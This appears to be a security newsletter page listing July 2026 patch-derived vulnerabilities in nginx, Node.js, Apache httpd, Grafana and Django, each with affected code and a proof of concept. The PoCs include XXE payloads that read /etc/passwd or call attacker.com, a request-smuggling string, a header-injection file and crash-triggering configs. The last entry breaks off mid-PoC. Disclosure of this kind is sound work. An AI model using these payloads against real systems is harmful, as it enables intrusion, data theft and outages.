📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Sunday, July 19, 2026

📋 Today’s Briefing

297
Total Findings
79
Confirmed CVEs
155
Verified
0
Unverified
63
False Positives
CRITICAL: 3 HIGH: 121 MEDIUM: 94 LOW: 16
79 CVE matched
64 found before CVE
3 avg lead (days)
76 max lead (days)

⚠️ MEDIUM VERIFIED Out-of-bounds Read / Use of Uninitialized Memory

Jul 17, 2026, 10:02 PM — nginx/nginx

Commit: 95a24d1b9cdd89608c601748e2fdfe94fb81e7b3

Author: Vadim Zhestikov

In ngx_http_image_filter_module.c, ctx->length was set to the allocation size (image_filter_buffer) rather than the actual number of bytes received from the upstream when Content-Length was absent. If the upstream connection was truncated before filling the buffer, the image size parser and image decoders (ngx_http_image_size(), ngx_http_image_source()) would read/parse past the valid received data into uninitialized heap memory, potentially leaking memory contents or causing crashes when processing the resulting 'image' data (e.g., via JSON size output or generated thumbnail).

🔍 View Affected Code & PoC

Affected Code

if (b->last_buf) {
    ctx->last = p;
    return NGX_OK;
}
// ctx->length remains == allocation size (image_filter_buffer), not actual bytes read

Proof of Concept

Configure nginx with image_filter enabled proxying to an upstream that sends a response without a Content-Length header and closes the connection early after sending only a few bytes (less than image_filter_buffer, e.g., 100 bytes of a valid JPEG header). Because ctx->length is set to the full buffer size (default 1M) instead of the ~100 bytes actually received, ngx_http_image_size() or the GD decoders will read/parse the uninitialized remainder of the buffer as if it were valid image data, potentially exposing uninitialized memory in the JSON size response (width/height fields derived from garbage) or causing erratic decoder behavior. This matches the nginx-tests case image_filter_truncated.t used to verify the fix.

🔥 HIGH VERIFIED Use-After-Free (CWE-416)

Jul 17, 2026, 12:39 PM — nodejs/node

Commit: 46de80de88c6ab0fc1fa27aa4d51804c7e989da4

Author: esgor

In node's HTTP/2 implementation, nghttp2_session_mem_recv() could trigger callbacks (e.g., on receiving RST_STREAM or via JS callbacks during data delivery) that synchronously destroy an Http2Stream or invoke SendPendingData()/nghttp2_session_mem_send(), freeing nghttp2 internal stream state that is still being used by the in-progress mem_recv() call. This allows a remote peer to send crafted HTTP/2 frames (e.g., interleaved RST_STREAM and DATA frames) that cause the session to close/free stream memory mid-parse, leading to heap-use-after-free that can crash the process or potentially be leveraged for further exploitation.

🔍 View Affected Code & PoC

Affected Code

void Http2Stream::Destroy() {
  if (is_destroyed()) return;
  if (session_->has_pending_rststream(id_))
    FlushRstStream();
  set_destroyed();
  ...
}
// SendPendingData() had no guard against being called while
// nghttp2_session_mem_recv() was still processing incoming data.

Proof of Concept

A remote HTTP/2 client sends a sequence of frames on a Node.js HTTP/2 server such that within a single TCP read (single nghttp2_session_mem_recv() call) it: 1) opens a stream and sends HEADERS causing the JS 'stream' event, 2) immediately follows with a RST_STREAM frame for that same stream id in the same TCP packet/buffer. While nghttp2 is still processing subsequent frames in mem_recv (still referencing the stream's internal nghttp2_stream struct), the RST_STREAM handling path (SubmitRstStream/FlushRstStream) previously invoked nghttp2_submit_rst_stream + nghttp2_session_mem_send synchronously, freeing/closing the stream object mid-parse. Repeated rapid RST_STREAM injections combined with pipelined frames (similar to HTTP/2 Rapid Reset style attacks) can reliably trigger use of freed nghttp2 stream memory in nghttp2_session_mem_recv(), causing a crash (DoS) as tracked in nodejs/node#64113.

🔥 HIGH VERIFIED Use-After-Free / Race Condition (CWE-416, CWE-362)

Jul 17, 2026, 12:12 PM — apache/httpd

Commit: 54862287191d004a52ad080a20e4e947133b3e09

Author: Joe Orton

In mod_ldap's cache handling, the code released the LDAP cache lock after fetching a 'curl' (URL cache node) pointer and then re-acquired the lock later to access curl's sub-caches (compare_cache, dn_compare_cache). Between the unlock and re-lock, another worker thread/process could evict or free that URL node from the cache, leaving 'curl' as a dangling pointer that is subsequently dereferenced, causing memory corruption or a crash. The fix holds the lock continuously across the fetch-and-use sequence and re-fetches the URL node under the lock before write-back operations.

🔍 View Affected Code & PoC

Affected Code

curl = util_ald_cache_fetch(st->util_ldap_cache, &curnode);
ldap_cache_unlock(st, r);
...
ldap_cache_lock(st, r);
node = util_ald_cache_fetch(curl->dn_compare_cache, &newnode); // curl may be stale/freed

Proof of Concept

In a multi-worker httpd deployment using mod_ldap with mod_authnz_ldap for concurrent LDAP-authenticated requests: Thread A calls uldap_cache_comparedn(), fetches 'curl' pointer for URL X, then unlocks the cache. Before Thread A re-locks and dereferences curl->dn_compare_cache, Thread B triggers eviction of the LRU cache entry for URL X (e.g., by causing enough distinct LDAP URLs/caches to be created, exceeding cache size, via requests to many different LDAP backends or repeated cache churn), freeing the memory backing 'curl'. Thread A then dereferences the freed 'curl' pointer, leading to a use-after-free that can crash the worker process (DoS) or potentially be leveraged for further memory corruption under specific allocator conditions. Repeated concurrent LDAP auth requests reliably trigger the race and intermittent worker crashes, as noted in the changelog entry 'Fix intermittent worker crashes under concurrent LDAP-authenticated requests.'

⚠️ MEDIUM VERIFIED HTTP Response Splitting / Request Smuggling via Header Injection

Jul 17, 2026, 12:12 PM — apache/httpd

Commit: 753188653c2e139ffbeead6eacdb179adfa14826

Author: Joe Orton

Before the patch, mod_cern_meta.c merged every header line found in a .meta file directly into the outgoing response headers without restriction. Because HTTP framing-related headers (Transfer-Encoding, Content-Length, Connection, Trailer, Upgrade, Keep-Alive, TE) were not filtered, an attacker who could influence the content of a .meta file (e.g. via file upload, misconfiguration, or shared hosting) could set arbitrary or conflicting framing headers, enabling HTTP response splitting or request smuggling against clients or intermediary proxies. The fix explicitly rejects these framing headers and returns a 500 error if they are present in a .meta file.

🔍 View Affected Code & PoC

Affected Code

else {
    apr_table_set(tmp_headers, w, l);
}

Proof of Concept

Create a .meta file (e.g. index.html.meta in the MetaDir) containing:

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

When Apache serves the associated resource with MetaFiles on, mod_cern_meta merges this header list verbatim into the response. The injected Content-Length (and potentially Transfer-Encoding) header creates a framing mismatch that can be leveraged for HTTP response splitting or request smuggling against downstream caches/proxies, allowing attacker-controlled content to be interpreted as a separate HTTP response.

⚠️ MEDIUM VERIFIED NULL Pointer Dereference (Denial of Service)

Jul 17, 2026, 12:12 PM — apache/httpd

Commit: 22dc622fc5c1cefcca4a889560ccc08a0592d2a4

Author: Joe Orton

When mod_remoteip processes a PROXY protocol v2 header with the LOCAL command, it returned without setting conn_conf-&gt;client_addr and client_ip, leaving them NULL. Later code that assumes these fields are populated (mirroring the v1 UNKNOWN path which was already fixed) would then dereference the NULL pointer, crashing the worker process. This is remotely triggerable by any client permitted to send a PROXY protocol header with the LOCAL command to a server with RemoteIPProxyProtocol enabled.

🔍 View Affected Code & PoC

Affected Code

switch (hdr->v2.ver_cmd & 0xF) {
    case 0x00: /* LOCAL command */
        /* keep local connection address for LOCAL */
        return HDR_DONE;

Proof of Concept

Connect to an Apache httpd server with mod_remoteip's RemoteIPProxyProtocol enabled, and send a PROXY protocol v2 header with the LOCAL command byte (ver_cmd & 0xF == 0x00), e.g. raw bytes: '\r\n\r\n\x00\r\nQUIT\n' (v2 signature) followed by version/command byte 0x20 (v2, LOCAL) and a zero length, then proceed with an HTTP request. Because client_addr/client_ip remain NULL after processing, subsequent code paths that read c->client_ip or conn_conf->client_addr will dereference NULL, crashing the httpd worker process (Denial of Service).

💡 LOW VERIFIED NULL Pointer Dereference (Denial of Service)

Jul 16, 2026, 07:27 PM — nginx/nginx

Commit: fc9749b4170d493868dfaf44411d8fd9325d2f47

Author: Vadim Zhestikov

When xmlCreatePushParserCtxt() fails to allocate a parser context (e.g., under memory pressure), ngx_http_xslt_add_chunk() returns NGX_ERROR without setting ctx-&gt;ctxt, but the caller ngx_http_xslt_body_filter() still dereferences ctx-&gt;ctxt-&gt;myDoc on the error path, causing a NULL pointer dereference and worker process crash. The patch adds a check for ctx-&gt;ctxt == NULL before dereferencing it, avoiding the crash and gracefully sending the response.

🔍 View Affected Code & PoC

Affected Code

if (ngx_http_xslt_add_chunk(r, ctx, cl->buf) != NGX_OK) {
    if (ctx->ctxt->myDoc) {
#if (NGX_HTTP_XSLT_REUSE_DTD)
        ...

Proof of Concept

Trigger memory allocation failure during libxml2 push parser context creation (e.g., by exhausting worker memory via many concurrent XSLT-filtered requests with large bodies) so that xmlCreatePushParserCtxt() returns NULL inside ngx_http_xslt_add_chunk(). The subsequent access to ctx->ctxt->myDoc in ngx_http_xslt_body_filter()'s error path dereferences a NULL pointer, crashing the nginx worker process and causing a denial of service for all connections handled by that worker.

🔥 HIGH VERIFIED Heap Buffer Overflow

Jul 15, 2026, 03:51 PM — nginx/nginx

Commit: b767540492e8c79a58bc26034d3bab2f708b7bd1

Author: Maxim Dounin

The nginx script engine (used for rewrite, map, set directives and complex value evaluation) computed the required buffer length in a first pass and then wrote data in a second pass without re-checking bounds. When variables with side effects (e.g., regex captures modifying other variables) or non-cacheable/volatile variables were evaluated, the length computed in the length-pass could become smaller than the actual data written in the copy-pass, causing a heap buffer overflow. This is exploitable via crafted configurations combining map/set with capturing regexes and volatile variables, which can be triggered by attacker-controlled request data (URI, headers) matched against the regex.

🔍 View Affected Code & PoC

Affected Code

e.ip = val->values;
e.pos = value->data;
e.buf = *value;
while (*(uintptr_t *) e.ip) {
    code = *(ngx_http_script_code_pt *) e.ip;
    code((ngx_http_script_engine_t *) &e);
}

Proof of Concept

Configure nginx with:
map $uri $map {
    ~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$capture $map";

Send a request with a URI whose length triggers a mismatch between the length-computation pass (using old $capture value) and the copy pass (using the value set by the map block, which mutates $capture as a side effect). This causes the second pass to write more bytes than allocated, overflowing the heap buffer allocated for $temp. Similarly, using a volatile variable like:
map prefix:$capture $map_volatile {
    volatile;
    ~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$map_volatile";
can cause the variable's length to differ between the length and copy phases (since it's re-evaluated non-cacheably), leading to the same heap overflow when e.g. an attacker sends a request whose URI capture group value changes in length between evaluations.

⚠️ MEDIUM VERIFIED Information Disclosure / Uninitialized Memory Exposure

Jul 15, 2026, 03:51 PM — nginx/nginx

Commit: a8289aa69c74f7e664ad63b91c17aa2a554f190f

Author: Roman Arutyunyan

The nginx script engine predicted a maximum length for computed variables/rewrite results (based on regex capture group max sizes) but the actual output could be shorter, especially with variable-length regex captures. The code returned the full predicted-length buffer without truncating to actual written length, leaking uninitialized (garbage) heap memory bytes to clients in HTTP responses via variables set by 'set', 'return', or map directives using regex captures.

🔍 View Affected Code & PoC

Affected Code

value->len = len;
value->data = ngx_pnalloc(r->pool, len);
...
code((ngx_http_script_engine_t *) &e);
...
*value = e.buf;  // buf.len is the predicted max length, not actual written length

Proof of Concept

Configure:
  map $uri $foo {
      ~^/(?<bar>[0-9]).*$ $bar;
  }
  location ~(?<bar>[0-9]*)[a-z]*$ {
      return 200 $1:$foo;
  }
Then request: GET /1234abcd
The response body will contain the expected short digits/colon but with trailing uninitialized heap bytes appended, since the predicted length (based on the regex's maximum possible capture size) exceeds the actual matched substring length, and the buffer isn't truncated to reflect the real written size — leaking adjacent heap memory content to the client.

⚠️ MEDIUM VERIFIED Uninitialized Memory Read / Out-of-Bounds Read

Jul 15, 2026, 03:51 PM — nginx/nginx

Commit: 0cca8e055a2d909f1a00c2071665b502ec2fe94c

Author: Pavel Pautov

When ngx_http_regex_exec() reallocates r-&gt;captures because the previous buffer was too small or marked for reallocation, it failed to reset r-&gt;ncaptures to 0 when the regex subsequently did not match. This left r-&gt;ncaptures referencing stale capture indices from a prior (larger) match, so later code reading $1, $2, etc. would read uninitialized or out-of-bounds memory from the newly allocated (and not fully populated) captures array, potentially leaking sensitive heap memory into response headers or bodies.

🔍 View Affected Code & PoC

Affected Code

if (r->captures == NULL || r->realloc_captures) {
    r->realloc_captures = 0;
    r->captures = ngx_palloc(r->pool, len * sizeof(int));
    ...
}
// r->ncaptures not reset when regex doesn't match

Proof of Concept

Using the provided nginx config:

map test $my_map {
    volatile;
    ~mismatch(.*) 1; # triggers realloc of r->captures in subrequest, regex fails to match
    default "";
}

server {
    location ~(.*) { # sets r->ncaptures with a real match
        slice 50;
        proxy_set_header Test $my_map$1; # $1 reads r->captures using stale r->ncaptures from before realloc
        proxy_set_header Range $slice_range;
        proxy_pass http://backend;
    }
}

Sending a request that triggers the slice module to create subrequests causes ngx_http_regex_exec() to run the $my_map regex (which doesn't match, reallocating r->captures without resetting r->ncaptures). The subsequent evaluation of $1 in proxy_set_header Test then reads uninitialized/stale memory from the reallocated captures array, potentially leaking process memory contents into the proxied Test header sent to the backend.

🔥 HIGH VERIFIED Use-After-Free

Jul 15, 2026, 03:51 PM — nginx/nginx

Commit: 700dc9e0e750e3f63587f9d0f9f36bae5ec47202

Author: Roman Arutyunyan

A subrequest that gets posted twice (once via ngx_http_subrequest() and again via ngx_http_postpone_filter() during unbuffered proxying with SSI includes) could be finalized twice, causing r-&gt;main-&gt;count to be decremented excessively. This reference-count corruption can lead to premature freeing of the request/pool while it is still referenced elsewhere, resulting in a use-after-free that could be leveraged for memory corruption or worker process crashes (DoS), and potentially further exploitation.

🔍 View Affected Code & PoC

Affected Code

for (p = &r->main->posted_requests; *p; p = &(*p)->next) { /* void */ }
*p = pr;
... r->main->count--; ... (no reset of write_event_handler)

Proof of Concept

Configure nginx with SSI enabled and an SSI page containing two <!--#include--> directives where the included subrequests are proxied to an upstream with unbuffered proxying (proxy_buffering off) enabled, e.g.:

  location /page.shtml { ssi on; }
  location /sub1 { proxy_pass http://backend1; proxy_buffering off; }
  location /sub2 { proxy_pass http://backend2; proxy_buffering off; }

page.shtml:
  <!--#include virtual="/sub1" -->
  <!--#include virtual="/sub2" -->

When the main request has data postponed by one include while another subrequest is created, and the backend for the second subrequest sends its response quickly (before the postponed data is flushed), the postpone filter will post the same subrequest a second time. This double posting causes ngx_http_finalize_request to be called twice for the same subrequest, decrementing r->main->count twice and leading to use-after-free of the main request structure, crashing the worker process or potentially being exploited for further memory corruption.

⚠️ MEDIUM VERIFIED HTTP Request Smuggling

Jul 15, 2026, 02:37 PM — nginx/nginx

Commit: d798231b56bb4a6284999e3b868b503c4a7ee8d3

Author: Roman Arutyunyan

Before the patch, nginx computed r-&gt;keepalive based on Connection header even for HTTP CONNECT requests, allowing the underlying connection to be treated as reusable for further HTTP request processing after a CONNECT tunnel was established. Since data sent by the client after the CONNECT blank line is meant to be tunneled (per RFC 2817), enabling keepalive could cause nginx to misinterpret tunneled bytes as pipelined HTTP requests, leading to request smuggling/desync between the client and backend.

🔍 View Affected Code & PoC

Affected Code

switch (r->headers_in.connection_type) {
case 0:
    r->keepalive = (r->http_version > NGX_HTTP_VERSION_10);
    break;
case NGX_HTTP_CONNECTION_KEEP_ALIVE:
    r->keepalive = 1;
    break;
}

Proof of Concept

Send: `CONNECT backend:443 HTTP/1.1\r\nHost: backend\r\nConnection: keep-alive\r\n\r\nGET /admin HTTP/1.1\r\nHost: victim\r\n\r\n` — with keepalive enabled after CONNECT, nginx may treat the trailing `GET /admin` as a new pipelined request on the same connection instead of purely tunneled data, enabling smuggling of a second request that bypasses intended request boundaries.

⚠️ MEDIUM VERIFIED NULL Pointer Dereference / Type Confusion leading to Segmentation Fault

Jul 15, 2026, 10:06 AM — nginx/nginx

Commit: a6a942fd6a7e18cc168a4c0281118d08181d668f

Author: Maxim Dounin

The Perl module's sleep() and has_request_body() XS functions called SvRV() on the handler argument without checking whether it was actually a reference to a code value (SVt_PVCV). If a script passed a non-reference (e.g., a plain string) as the handler, SvRV() would dereference invalid memory, causing a segmentation fault and crashing the worker process. This is exploitable by any nginx configuration or perl script that accepts external input as the handler argument, leading to a denial of service.

🔍 View Affected Code & PoC

Affected Code

ctx->next = SvRV(ST(1));  // has_request_body
...
ctx->next = SvRV(ST(2));  // sleep

Proof of Concept

In an nginx perl handler script:
  $r->has_request_body("not_a_coderef");
or
  $r->sleep(1000, "not_a_coderef");
Passing a plain scalar string instead of a code reference as the handler argument causes SvRV() to dereference an invalid pointer, crashing the nginx worker process with a segmentation fault (DoS).

🔥 HIGH VERIFIED Use-After-Free

Jul 15, 2026, 10:06 AM — nginx/nginx

Commit: d9b7669666c8acaf9ec109ce6c2f16011a5a3762

Author: Maxim Dounin

The nginx perl module relied on SvREADONLY() to decide whether to zero-copy a Perl SV's buffer directly into an nginx buffer or ngx_str_t without incrementing its reference count. When the SV came from a short-lived context (e.g. within an eval block), Perl could free or reuse the underlying string memory after the eval scope ended but before nginx finished using the buffer, resulting in a heap use-after-free when the freed memory is later read (e.g. during response output or in the sleep/has_request_body deferred handler paths). This is remotely triggerable by any config that embeds perl handlers using eval-created strings/subs.

🔍 View Affected Code & PoC

Affected Code

if (SvREADONLY(sv) && SvPOK(sv)) {
    s->data = p;
    return NGX_OK;
}
... (also in print(): zero-copy without refcount for SvREADONLY sv)

Proof of Concept

nginx.conf:
location / {
    perl 'sub {
        my $r = shift;
        $r->send_http_header;
        eval q!$r->print("it works")!;
        return OK;
    }';
}
Requesting this location causes $r->print to store a raw pointer into the temporary SV created inside the eval block. Once eval returns, Perl frees/reuses the SV's PV buffer, and nginx later reads this freed memory while sending the response body, producing a heap use-after-free (observed as corrupted output or crash).

🔥 HIGH VERIFIED Use-After-Free / Type Confusion (Memory Corruption)

Jul 15, 2026, 10:06 AM — nginx/nginx

Commit: cf94d5691a895994714efc288e07b3fec3af5089

Author: Maxim Dounin

The nginx Perl module allowed Perl scripts to retain and reuse stale request objects across requests, or to bless arbitrary Perl scalars into the 'nginx' package, causing ngx_http_perl_set_request to dereference freed or attacker-controlled memory as an ngx_http_perl_ctx_t pointer. This can lead to segmentation faults (DoS) or potentially memory corruption/RCE if the freed memory is reused with attacker-controlled content. The patch adds validation via a global active-context pointer, ensuring only the currently active request context can be used.

🔍 View Affected Code & PoC

Affected Code

#define ngx_http_perl_set_request(r, ctx)  \
    ctx = INT2PTR(ngx_http_perl_ctx_t *, SvIV((SV *) SvRV(ST(0)))); \
    r = ctx->request

Proof of Concept

Configure nginx with a Perl handler that stashes the request object across invocations:

location /stale {
    perl 'sub {
        my $r = shift;
        $prev->log_error(0, "next request arrived") if $prev;
        $prev = $r;
        $r->send_http_header;
        return OK;
    }';
}

Send two successive HTTP requests to /stale. On the second request, $prev (from the first, now-completed and freed request) is used, causing ngx_http_perl_set_request to dereference a freed ngx_http_perl_ctx_t and crash the worker process (segfault). Alternatively:

location /bless {
    perl 'sub {
        my $v = 10;
        my $r = bless \$v, "nginx";
        $r->send_http_header;
        return OK;
    }';
}

A request to /bless creates a fake 'nginx'-blessed object from an arbitrary scalar, and calling $r->send_http_header treats the scalar's integer value as a pointer to ngx_http_perl_ctx_t, causing a segmentation fault or memory corruption.

⚠️ MEDIUM VERIFIED Denial of Service (Uncontrolled Recursion / Stack Overflow)

Jul 14, 2026, 04:35 PM — grafana/grafana

Commit: a914b350118c7bcf76d6a1ae3a7df490fab1837d

Author: Sergej-Vlasov

The v14→v16 dashboard schema migration's getPanelPosition function recursed unconditionally when a panel could not fit into the row's grid area. A legacy row panel with a span greater than 12 produces a panelWidth larger than the 24-column grid, meaning it can never satisfy the fit check, causing infinite recursion and a stack overflow that crashes the Grafana backend process. The patch restores a callOnce guard so the function wraps to the next row at most once before returning nil instead of recursing forever.

🔍 View Affected Code & PoC

Affected Code

// Wrap to next row
r.yPos += r.height
r.reset()
return r.getPanelPosition(panelHeight, panelWidth)

Proof of Concept

Import or migrate a dashboard JSON with schemaVersion 15 containing a row panel like:
{"rows": [{"panels": [{"id": 2, "type": "table", "span": 24, "title": "Clusters"}]}]}
When the backend runs the V16 migration on this dashboard, getPanelPosition recurses indefinitely (since panelWidth=48 > gridColumnCount=24 can never fit), causing a stack overflow and crashing the Grafana process — a remotely triggerable Denial of Service via dashboard import/migration.

⚠️ MEDIUM VERIFIED Uncontrolled Resource Consumption / Memory Exhaustion (DoS)

Jul 14, 2026, 12:38 PM — nginx/nginx

Commit: 44c66e92c88bf2367dd31efc9d5843c0838d11f2

Author: Zhidao HONG

When parsing HTTP/2 (gRPC) and proxy-v2 response headers, the code computed ctx-&gt;name.len/ctx-&gt;value.len from the HPACK-encoded field length (including a x8/5 expansion for Huffman-coded data) and passed it directly to ngx_pnalloc without validating it against the configured upstream buffer_size. A malicious or compromised upstream server could send crafted HEADERS frames with very large field lengths, causing nginx to allocate large amounts of request-pool memory per header field and across many fields in a header block, leading to excessive memory consumption and potential denial of service. The patch adds explicit checks that reject name/value lengths exceeding upstream-&gt;conf-&gt;buffer_size before allocation, and maintains a decreasing header_limit counter across the whole header block to bound total memory used per HEADERS frame.

🔍 View Affected Code & PoC

Affected Code

ctx->name.len = ctx->field_huffman ?
                ctx->field_length * 8 / 5 : ctx->field_length;
ctx->name.data = ngx_pnalloc(r->pool, ctx->name.len + 1);
... (same pattern for ctx->value.len allocation, no size check against buffer_size)

Proof of Concept

An attacker controlling or spoofing the gRPC/HTTP2 upstream sends a HEADERS frame whose HPACK-encoded literal header field declares an extremely large string length (e.g., close to the max representable in the varint, or crafted so that field_length * 8/5 yields a huge value) for a header name or value. Since nginx used this attacker-controlled length directly in ngx_pnalloc(r->pool, len+1) without comparing it to upstream buffer_size, repeated such headers in one HEADERS frame could force nginx worker processes to allocate large amounts of pool memory per request, exhausting memory when many such requests/connections are made, resulting in a denial-of-service condition on the nginx server acting as a reverse proxy to that upstream.

⚠️ MEDIUM VERIFIED XML External Entity (XXE) / SSRF leading to DoS

Jul 13, 2026, 05:49 PM — nginx/nginx

Commit: 017dbad85610c0f267cb65ab99907b655be159e1

Author: Maxim Dounin

The XSLT filter module parsed backend XML responses with XML_PARSE_NOENT enabled but without XML_PARSE_NONET, allowing external general entities declared in the internal DTD subset (e.g. SYSTEM "http://...") to be resolved over the network during parsing. Since XML parsing happens synchronously in the nginx worker process, a malicious or compromised backend response could cause the worker to block for a long time fetching a remote/slow resource, resulting in a denial-of-service condition, or be used for SSRF-style network requests from the server. The fix adds XML_PARSE_NONET to the parser options, disabling network-based resolution of external entities.

🔍 View Affected Code & PoC

Affected Code

xmlCtxtUseOptions(ctxt, XML_PARSE_NOENT|XML_PARSE_DTDLOAD
                                       |XML_PARSE_NOWARNING);

ctxt->sax->externalSubset = ngx_http_xslt_sax_external_subset;

Proof of Concept

A backend response processed by ngx_http_xslt_filter_module contains:
<?xml version="1.0"?>
<!DOCTYPE d [ <!ENTITY x SYSTEM "http://attacker.com/slow-endpoint"> ]>
<d>&x;</d>

When nginx's XSLT filter parses this document with XML_PARSE_NOENT set, libxml2 attempts to resolve the external entity 'x' over the network to attacker.com, which can be made to respond slowly or hang, blocking the nginx worker process handling the request until the connection times out (DoS). On libxml2 builds/versions where network loading is not restricted by default, this also enables SSRF-like requests originating from the server.

🔥 HIGH VERIFIED XML External Entity (XXE) Injection / SSRF

Jul 13, 2026, 05:49 PM — nginx/nginx

Commit: 4d0e620f9ad4e81dc229ca423fbbf3c2e23b3f83

Author: Maxim Dounin

The nginx XSLT filter module parsed untrusted upstream XML with XML_PARSE_NOENT | XML_PARSE_DTDLOAD without restricting external general entity resolution declared in the internal DTD subset. An attacker who can influence the XML response body could declare an entity with a SYSTEM identifier pointing to a local file or (on network-enabled libxml2 builds) a remote URL, causing the worker process to read arbitrary local files or make outbound network requests, potentially leading to information disclosure or SSRF, and even worker blocking via slow network fetches.

🔍 View Affected Code & PoC

Affected Code

ctxt->options = (XML_PARSE_NOENT|XML_PARSE_DTDLOAD
                                |XML_PARSE_NONET|XML_PARSE_NOWARNING);

ctxt->sax->externalSubset = ngx_http_xslt_sax_external_subset;
/* no entityDecl hook to strip SYSTEM ids from internal subset entities */

Proof of Concept

Send an XML response to be processed by the xslt filter containing:
<?xml version="1.0"?>
<!DOCTYPE d [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
<root>&x;</root>
Before the patch, libxml2 would expand &x; and include the contents of /etc/passwd (or fetch a URL like http://internal-host/) into the parsed document, which could then be reflected in the XSLT-transformed output or cause SSRF/blocking behavior.

🔥 HIGH VERIFIED Use-After-Free

Jul 7, 2026, 01:30 PM — nodejs/node

Commit: 2e8f4d7ad214332538ca9eed52269c92dfced8db

Author: Efe

When a unidirectional QUIC stream is created without a registered 'onstream' handler, JavaScript synchronously destroys the stream object, but native code (DefaultApplication) continues to access the now-destroyed Stream object, causing a use-after-free crash. Additionally, Session::Impl destructor called endpoint-&gt;RemoveSession() before releasing arena slots, allowing the last reference to the Session to be dropped and then having session_-&gt;env() accessed afterward, also a use-after-free. Both are remotely triggerable by any QUIC peer opening a unidirectional stream when no onstream handler is registered.

🔍 View Affected Code & PoC

Affected Code

stream = BaseObjectPtr<Stream>(Stream::From(stream_user_data));
// ... no check for is_destroyed() before continuing to use `stream`

// session.cc destructor:
endpoint->RemoveSession(config_.scid, remote_address_);
auto& binding = BindingData::Get(env());
if (stats_slot_) GetSessionStatsArena(binding).ReleaseSlot(stats_slot_);

Proof of Concept

A remote QUIC client connects to a Node.js QUIC server (or vice versa) that has not registered an 'onstream' event handler, then opens a unidirectional stream and sends data, e.g.:

const session = await connect(serverAddr, { alpn: 'repro' });
await session.opened;
await session.createUnidirectionalStream({ body: 'trigger crash' });

On the receiving side (no onstream handler registered), the JS layer synchronously destroys the stream object upon creation event since there is no handler, but the native DefaultApplication code keeps using the freed Stream pointer while processing incoming stream data, causing a crash (denial of service) or potentially exploitable memory corruption due to use-after-free.
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-53878 Improper Input Validation (CRLF/Header Injection)

Jul 7, 2026, 03:30 AM — django/django

📈 Patch landed 12 hours 2 minutes before CVE published

Commit: 3a720d0d8bf2529253b98968f10ca73daf6d693c

Author: Natalia

DomainNameValidator's regex used `$` instead of `\\Z` as the end anchor, which in Python regex matches before a trailing newline. This allowed strings like 'example.com\\n' to pass validation as a valid domain name, potentially enabling HTTP header/CRLF injection if such validated values were later embedded into HTTP headers or other newline-sensitive contexts outside Django's form fields.

🔍 View Affected Code & PoC

Affected Code

self.regex = _lazy_re_compile(
    r"^" + self.hostname_re + self.domain_re + self.tld_re + r"$",
    re.IGNORECASE,
)

Proof of Concept

from django.core.validators import DomainNameValidator
validator = DomainNameValidator()
validator('example.com\n')  # Does NOT raise ValidationError before the patch, allowing a newline-terminated domain to pass validation and potentially be injected into an HTTP header (e.g., Host or Location) causing CRLF injection/header splitting in custom code that trusts this validator.
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-53877 Heap Buffer Over-read

Jul 7, 2026, 03:30 AM — django/django

📈 Patch landed 12 hours 2 minutes before CVE published

Commit: 6ca2bbe2efce21010eff48f1f36a3f621d698ed8

Author: Jacob Walls

When constructing a GDALRaster from a bytes object, the code used sys.getsizeof() to determine the buffer size, which includes CPython's PyBytesObject overhead (~32-49 bytes) rather than the actual data length. This caused GDAL to read past the end of the allocated buffer into adjacent heap memory when accessing the vsi_buffer property, potentially disclosing sensitive heap memory contents or causing a crash.

🔍 View Affected Code & PoC

Affected Code

size = sys.getsizeof(ds_input)
# Pass data to ctypes, keeping a reference to the ctypes object so
# that the vsimem file remains available until the GDALRaster is
# deleted.
self._ptr_buffer = c_buffer(ds_input, size)

Proof of Concept

from django.contrib.gis.gdal.raster.source import GDALRaster
rst_bytes = open('raster.tif','rb').read()
vsimem = GDALRaster(rst_bytes)
# vsimem.vsi_buffer will be longer than len(rst_bytes) due to sys.getsizeof() including PyBytesObject overhead (~32 bytes), exposing adjacent heap memory:
assert len(vsimem.vsi_buffer) != len(rst_bytes)  # over-read demonstrated
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-48588 Sensitive Data Exposure / Cache Poisoning (CWE-524)

Jul 7, 2026, 03:30 AM — django/django

📈 Patch landed 12 hours 2 minutes before CVE published

Commit: 6e365f8d01f2ba0bbd90968d76a42600fb8bc4b1

Author: Natalia

UpdateCacheMiddleware only skipped caching Set-Cookie responses varying on Cookie when the incoming request had zero cookies, so a request carrying any unrelated cookie (e.g., a language preference) bypassed the protection. This allowed a response that issues a new session or CSRF cookie to be stored in Django's shared cache and served to other users, leaking session cookies via a shared cache hit. The patch removes the 'no cookies at all' condition, always skipping caching when a response sets a cookie and varies on Cookie.

🔍 View Affected Code & PoC

Affected Code

if (
    not request.COOKIES
    and response.cookies
    and has_vary_header(response, "Cookie")
):
    return response

Proof of Concept

1. Client sends GET /view/ with Cookie: unrelated=value (e.g. a language preference cookie).
2. Server (via CsrfViewMiddleware or session middleware) responds with Set-Cookie: csrftoken=NEW_SECRET and Vary: Cookie.
3. Because request.COOKIES is non-empty (contains 'unrelated'), the old guard 'not request.COOKIES' is False, so the response is cached under UpdateCacheMiddleware with a cache key derived from the Cookie header value 'unrelated=value'.
4. A different client sending the same Cookie: unrelated=value header (trivial to guess/share) receives the cached response and thus the first client's freshly issued session/CSRF cookie, allowing session fixation/hijacking.

🔥 HIGH VERIFIED Denial of Service (Unhandled Promise Rejection)

Jul 7, 2026, 02:58 AM — nodejs/node

Commit: d7aca7e158b37b1a357cbd6d81f6d2454d07e3ef

Author: Tim Perry

The QUIC session's `closed` promise was not marked as handled before being rejected on error close, unlike the `opened` promise. If an application does not synchronously attach a handler to `session.closed`, a remote peer can trigger an error close (e.g., via a QUIC error code on connection close), causing an unhandled promise rejection that crashes the Node.js process by default, since Node exits on unhandled rejections unless configured otherwise.

🔍 View Affected Code & PoC

Affected Code

if (error) {
  // If the session is still waiting to be closed, and error
  // is specified, reject the closed promise.
  inner.pendingClose.reject?.(error);
} else {

Proof of Concept

1. Start a QUIC server that accepts sessions but does not attach a handler to `session.closed` synchronously.
2. As a remote client, connect and then call `clientSession.close({ code: 1 })` to trigger an error-coded close.
